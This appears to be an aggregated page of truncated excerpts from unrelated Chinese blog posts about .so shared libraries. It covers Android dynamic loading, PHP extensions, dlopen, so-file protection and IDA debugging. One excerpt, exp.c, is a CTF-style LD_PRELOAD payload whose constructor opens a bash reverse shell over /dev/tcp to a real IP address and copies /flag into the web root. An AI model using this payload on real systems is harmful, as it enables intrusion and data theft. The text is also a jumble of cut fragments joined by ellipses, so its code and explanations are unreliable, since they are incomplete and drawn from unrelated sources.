其中,一个大的第三方so文件,经常会让人头痛。那么,能否动态加载.so文件呢?答案是可以的。...原理 我们知道,如果我们在工程中引入一个so文件,当我们用gradle编译打包时,gradle会将我们jniLibs中的so文件,打到APK包中的lib文件夹下。具体可以参考我的上篇博客。...然后我们安装APK时,系统会将APK包lib文件夹中的so文件拷贝到APP的私有目录下。...具体来说就是: /data/user/0/[包名]/app_libs/ 所以,我们可以将想要加载的so文件,在程序运行时,拷贝到APP的私有目录的对应位置中,然后使用 System.load(......); 加载我们需要的so文件。
Ubuntu 下php调用C语言.so文件。写一个php模块(php extension),在php中调用该模块内的函数,再通过该模块来调用so中的函数。...首先做一个简单的so文件: /** * hello.c * To compile, use following commands: * gcc -O -c -fPIC -o hello.o hello.c....so文件并放到系统中: $ gcc -O -c -fPIC -o hello.o hello.c $ gcc -shared -o libhello.so hello.o $ su # echo /usr...如果要编译成可动态加载的 php_hello.so,方法要更为简单。.../configure $ make LDFLAGS=-lhello $ sudo make install 此命令会将so放在php的扩展文件去 编辑php的配置文件加载so库 $ .
常用的so文件c源码 exp.c #include #include __attribute__ ((constructor)) void call () {...unsetenv("LD_PRELOAD"); char str[65536]; system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18.../4444 <&1'"); system("cat /flag > /var/www/html/flag"); } gcc exp.c -fPIC -shared -o exp.so iconv.c...-shared -fPIC -o iconv.so hack.c #include #include int main(){ system("bash...return 0; } gcc hack.c -o hack.so
我想对于静态加载 so 库文件,大家都已经很熟悉了,这里就不多说了。...动态加载的优点 静态加载,不灵活,apk 包有可能大。所以采用动态加载 so 库文件,有以下几点好处: 灵活,so 文件可以动态加载,不是绑定死的,修改方便,so 库有问题,我们可以动态更新。...so 库文件很大的话,采用动态加载可以减少 apk 的包,变小。 其实我们常用第三方 so 库,单个可能没问题,如果多个第三方 so 库文件,同时加载可能会出现冲突,而动态加载就能够解决这一问题。...注意路径陷阱 动态加载 so 库文件,并不是说可以把文件随便存放到某个 sdcard 文件目录下,这样做既不安全,系统也加载不了。...(String libname) 注意:而这里加载的文件路径只能加载两个目录下的 so 文件。
制作.so文件 我们的目标是制作共享库,即.so文件。...首先,编译stack.c: $gcc -c -fPIC -o mystack.o mystack.c -c表示只编译(compile),而不连接。-o选项用于说明输出(output)文件名。...so文件和.h文件都位于当前工作路径(.)。...libmystack.so位于当前路径,位于库文件的默认路径之外。尽管我们在编译时(compile time)提供了.so文件的位置,但这个信息并没有写入test可执行文件(runtime)。...这说明test可执行文件无法找到它所需的libmystack.so库文件。
在实现android插件化过程中,在插件代码中加载so时出现了一些问题,因此特地研究了一下android系统中加载so的过程,记录下来,整理成文。...在android系统中,加载so一般会调用System.loadLibrary(name)或者是System.load(path),这两个函数都可以用来加载so文件,区别在于System.loadLibrary...的真正的文件路径;2:调用nativeLoad函数去实现真正的so加载;这里会牵扯到一个问题,如何通过so的名称去ClassLoader拿到so真正的文件路径?...的前缀和后缀名,如libname为hello,那么经过此函数转换后变成了libhello.so,然后在mLibPaths搜索目录下搜寻libhello.so文件,如果文件存在,则代表找到了此so的文件,...so(findSharedLibEntry),如果已经加载过了,那么直接返回即可;如果没有加载,那么重新加载一遍,加载的过程可以用下面的流程来描述:调用dlopen() 打开一个so文件,取得该so的文件句柄
概述 1.1 C++动态库加载 所需要的头文件的#include, 最为核心的方法如下: void *dlopen(const char * pathname,int mode); //打开动态库...dlopen()打开动态库文件,再通过dlsym()获取动态库对象地址,加载完成则需要dlclose()关闭动态库。...a + b; } extern "C" int mul(int a, int b) { return a*b; } 对于C++文件函数前的 extern “C” 不能省略,原因是C++编译之后会修改函数名...然后通过下述命令编译成动态链接库: g++ -fPIC -shared caculate.cpp -o libcaculate.so 这样会在同级目录生成一个动态库文件:libcaculate.so...最终查找so文件的时候就会在这三个路径中查找,优先查找apk目录。
so文件是Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据 linux下何谓.so文件: 用过windows的同学应该都知道 .dll文件吧, 这二者有什么共通之处呢,其实 .so文件就跟....dll文件差不多 一般来说.so文件就是常说的动态链接库, 都是C或C++编译出来的。...与Java比较就是:它通常是用的Class文件(字节码) Linux下的.so文件时不能直接运行的,一般来讲,.so文件称为共享库 那么.so文件是怎么用的呢?...for example: (1) 动态库的编译 这里有一个头文件:so_test.h,三个.c文件:test_a.c、test_b.c、test_c.c,我们将这几个文件编译成一个动态库:libtest.so...(2) 动态库的链接 这里有个程序源文件 test.c 与动态库 libtest.so 链接生成执行文件 test: 命令:$ gcc test.c -L.
文章目录 文件打开与关闭 文件读写操作 读/写文件中的字符串 格式化读写文件操作 文件定位函数 作业使用案例(自己可以全部完成一遍): 文件打开与关闭 C文件操作用库函数实现,包含在stdio.h中。...文件使用方式: 打开文件→文件读/写→关闭文件 系统自动打开和关闭三个标准文件: 标准输入——键盘 stdin 标准输出——显示器 stdout 标准出错输出—–显示器 stderr...文件读写操作 当我们把文件打开之后,就可以对它进行读与写的操作。...读/写文件中的一个字符 文件I/O与终端I/O的关系 案例: 例如:从键盘输入字符,逐个写入文件,直到输入一个“#”为止。...C语言规定的起始位置有三种,分别为文件开头、当前位置和文件末尾,每个位置都用对应的常量来表示: 例如:把位置指针移动到离文件开头100个字节处: fseek(fp, 100, 0);
DNS 拦截的影响,请在文件下载完成后校验 so 文件的完整性。...加载 SO 文件 等待所有 so 文件就位以后,调用 TXLiveBase 的 setLibraryPath 将下载的目标 path 设置给 SDK, 然后再调用 SDK 的相关功能。...之后,SDK 会到这些路径下加载需要的 so 文件并启动相关功能。 二、示例demo 1、工具类的写法。 下载、解压、校验完整性的过程,由客户自己灵活完成,demo就不给出演示了。...解决办法就是:先把一个32位的so文件打进安装包,其它so库在运行时动态加载,这样App启动的是32位进程,动态加载的so库也是32位版本,运行时就不再闪退。...五、资源 相关文章: LiteAVSDK商业版6.6+,安卓集成动态加载so 动态加载so库的实现方法与问题处理 Android 的 so 文件加载机制提问源码总结参考资料 demo下载
大家好,又见面了,我是你们的朋友全栈君 这篇是一系列的关于SO文件保护的自我理解,SO文件保护分为加固,混淆以及最近炒的比较火的虚拟机...加固就是将真正的so代码保护起来,不让攻击者那么轻易的发现,至于混淆,由于ART机制的介入,使得O-LLVM越来越火,这以后有机会再分析,这次主要是基于有源码的so文件保护,下次介绍无源码的so文件保护...))进行定义;类似于C++构造函数发生在main函数之前。...= 0){ puts("mem privilege change failed"); } puts("Decrypt success"); } //获取到SO文件加载到内存中的起始地址,只有找到起始地址才能够进行解密...ok,以上编写完以后就编译生成.so文件。
那么,要理清 so 文件的加载流程,或者说,要找出系统是去哪些地址加载 so 文件的,就需要梳理清这些方法: loader.findLibrary() doLoad() 第一个方法用于寻找 so 文件,...文件是否存在,如果存在,会返回 so 文件的绝对路径,接着交由 Runtime 的 doLoad() 方法去加载 so 文件。...而且,看添加的顺序,是先添加应用自身的 so 文件目录,然后再添加系统指定的 so 文件目录,也就是说,当加载 so 文件时,是先去应用自身的 so 文件目录地址寻找,没有找到,才会去系统指定的目录。...abi 兼容 so 文件加载的流程,及应用运行在 32 位或 64 位的依据我们都梳理完了,以上内容足够掌握什么场景下,该去哪些目录下加载 so 文件的判断能力了。...() 加载 so 文件时,流程如下: 先到 nativeLibraryDirectories 指向的目录中寻找,是否存在且可用的 so 文件,有则直接加载这里的 so 文件; 上一步没找到的话,则根据当前进程如果是
文件在虚拟内存中的地址段,因此可以怀疑,so加载确实出现了异常。...so加载到底有什么特殊性。...加载过程: [6e193664b0c3bd7_mh1542192899167.jpg] 这个过程表明:旧的so先被加载了,然后下载了新版本的so,并进行了替换。...: cp new.so old.so,文件的inode号没有改变,dentry找到是新的so,但是cp过程中会把老的so截断为0,这时程序再次进行加载的时候,如果需要的文件偏移大于新的so的地址范围会生成...; 可以先加载旧的so,但是下载了新的so之后,要删除旧的so,再进行替换。
一、文件缓冲区 在C程序运行时,数据并不是直接保存到文件中的,也不是直接从文件打印到屏幕上,中间有个缓冲区,示意图如下: 这里的硬盘是指的文件。 fflush/fclose都有刷新缓冲区的作用。...二、文件读取结束原因 在C语言文件中,主要使用feof、ferror两个函数来判断文件读取结束的原因。...#include int main() { FILE* p = fopen("test.txt", "r");//a b c d e if (p == NULL)...fopen"); return 1; } //使p发生偏移 fseek(p, 2, SEEK_CUR);//2 char ch = fgetc(p);//c...printf("%d \n", ftell(p));//3 //使p偏移量恢复为初始值 rewind(p); ch = fgetc(p); printf("%c\
这基本上可以说明,并不是so本身的代码存在异常,只可能是加载的so出现了文件异常。 另外通过在linker中增加日志,并重新编译linker替换到/system/lib/linker中: ? ?...唯一可能的问题,就是先加载了旧的so,之后下载新的so进行了热更新。 我们先看下微视中是否有这种现象。要观察这种现象,我们可以打开linker自身的调试开关,开启so加载的日志。...那么,我们重新复现问题,可以看到如下so加载过程: ? 这个过程表明:旧的so先被加载了,然后下载了新版本的so,并进行了替换。 这个过程有什么问题呢?...: 1. cp new.so old.so,文件的inode号没有改变,dentry找到是新的so,但是cp过程中会把老的so截断为0,这时程序再次进行加载的时候,如果需要的文件偏移大于新的so的地址范围会生成...如果so有升级,先不加载旧的so,等新的so下载完成之后再加载; 2. 可以先加载旧的so,但是下载了新的so之后,要删除旧的so,再进行替换。
介绍本示例主要介绍在TaskPool子线程中使用 dlopen 预加载 so 库并使用句柄调用库函数的方法,以及在Native中使用 pread 系统函数读取Rawfile文件的部分文本内容,并添加 HiLog...实现思路在TaskPool子线程中使用dlopen预加载so库和使用句柄调用so库函数的方式将需要加载的.so文件放到工程中,在CMakeLists中使用target_link_directories命令将包含这些库文件的目录添加到预加载库的链接目录.../libs/${OHOS_ARCH}/)使用target_link_libraries命令将需要预加载的so库链接到项目中。...)定义一个全局对象global_handlers用于存放加载so库所得句柄,其他需要使用global_handlers的cpp文件需要引入定义全局对象的头文件。...传入的参数为文件名、开始读取位置、读取文件长度。
到这里,我们就分析完了native层的密码比较函数:isEquals 2.可以使用F5键,查看他的C语言代码: 看到其实有两个函数是核心点: 1>is_number函数,这个函数我们看名字应该猜到是判断是不是数字...,我们可以使用F5键,查看他对应的C语言代码: 主要是看return语句和if判断语句,看到这里有一个循环,然后获取_BYTE*这里地址的值,并且自增加一,然后存到v2中,如果v3为’\0’的话...双击进程,即可进入调试页面: 这里为什么会断在libc.so中呢? android系统中libc是c层中最基本的函数库,libc中封装了io、文件、socket等基本系统调用。...所以libc.so是最基本的,所以会断在这里,而且我们还需要知道一些常用的系统so,比如linker: 还有一个就是libdvm.so文件,他包含了DVM中所有的底层加载dex的一些方法: 我们在后面动态调试需要...3、找到函数地址,下断点,开始调试 我们使用Ctrl+S找到需要调试so的基地址:74FE4000 然后通过另外一个IDA打开so文件,查看函数的相对地址:E9C 那么得到了函数的绝对地址就是:74FE4E9C
(1).编译单个源文件,创建源文件hello.c,源文件内容如下:#include int main(){/**注释**/printf("Hello Jiufeng");return ...0;}编译源文件:gcc hello.c编译后生成可执行文件a.out(2).编译多个源文件,已有以下几个源文件:(2.1).a.c#include #include "func.c"int... main(){int num = add(1,1);printf("the result is %d \r\n",num);return 0;}(2.2).func.c/**加法**/int add(...int num1,int num2);(2.3).b.c/**加法实现**/int add(int num1,int num2){return num1+num2;}编译命令:gcc a.c b.c func.c... -o main.out多个源文件编译为main.out
本文参考: https://github.com/lu569368/Practise_reflex/ ini文件示例: # 注释 ; 注释 ; 注释 [redis] ip = 127.0.0.1 port...Config struct { RedisConfig RedisConfig `ini:"redis"` MysqlConfig MysqlConfig `ini:"mysql"` } 解析ini文件代码.../config.ini", &conf) fmt.Printf("解析文件成功 config:%#v\n port:%#v\n", conf, conf.RedisConfig.Port) ...127.0.0.1", User: "root", Password: "123456"}, } _ = MarshalFile("1.ini", conf2) fmt.Printf("序列化文件成功
一、前言 最近在学习go,因为需要调用c语言打包成的so动态库里面的方法,避免自己再去造轮子,所以想直接使用golang调用so,但是参考了其他博客大佬写的,我每一步原封不动的写下来,结果都是一堆错误...二、环境 因为要将c语言打包,会需要借助gcc的工具,Windows 32位可以直接借助MinGW下载,Windows 64位用MinGW的话,后续打包运行的时候会报错,x86_64这样的错误...2、在目录下创建一个c语言的头文件 hi.h 内容如下: void hi(); 3、在目录下创建一个c语言的实现 hi.c 内容如下: #include void...} 5、编译c文件为so动态库,命令: gcc -fPIC -shared -o libhi.so hi.c 这样会在当前文件夹下生成一个 libhi.so...解决办法:①、直接度娘 error while loading shared libraries,就会知道其实就是没有找到这个动态库,我们编辑: vim /etc/ld.so.conf 文件,将我们的路径写在该文件下
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